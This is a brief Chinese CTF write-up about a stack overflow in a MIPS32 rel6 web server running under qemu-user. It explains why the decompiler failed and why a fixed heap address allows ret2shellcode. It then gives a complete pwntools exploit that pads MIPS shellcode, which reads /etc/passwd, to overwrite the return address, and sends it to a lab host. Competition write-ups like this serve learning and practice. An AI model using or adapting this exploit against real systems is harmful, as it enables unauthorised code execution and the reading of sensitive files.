题目为网络接口的Web Server,瞎发包测出来的栈溢出,没审出来的原因是给出的目标程序的指令集是MIPS32 rel6(第六个大版本的MIPS32的指令集),比赛时手中的IDA7.5并不能正确的分析出其伪代码。当然有现场直接看汇编看出来毛病的同学,人家是厉害。因为是qemu环境,所以利用直接就是ret2shellcode就完了,不过shellcode只在堆上存在,但因为是qemu-user所以堆的地址在一个环境中是固定的,还是可以猜大概的地址来完成攻击的。
附件:qmips.zip
from pwn import *
context(arch='mips',endian='big')
shellcode = asm(shellcraft.mips.linux.cat("/etc/passwd",7))
payload = shellcode.ljust(544,'a') + p32(0x418290)
io = remote("10.10.10.135",8000)
io.send(payload)
io.interactive()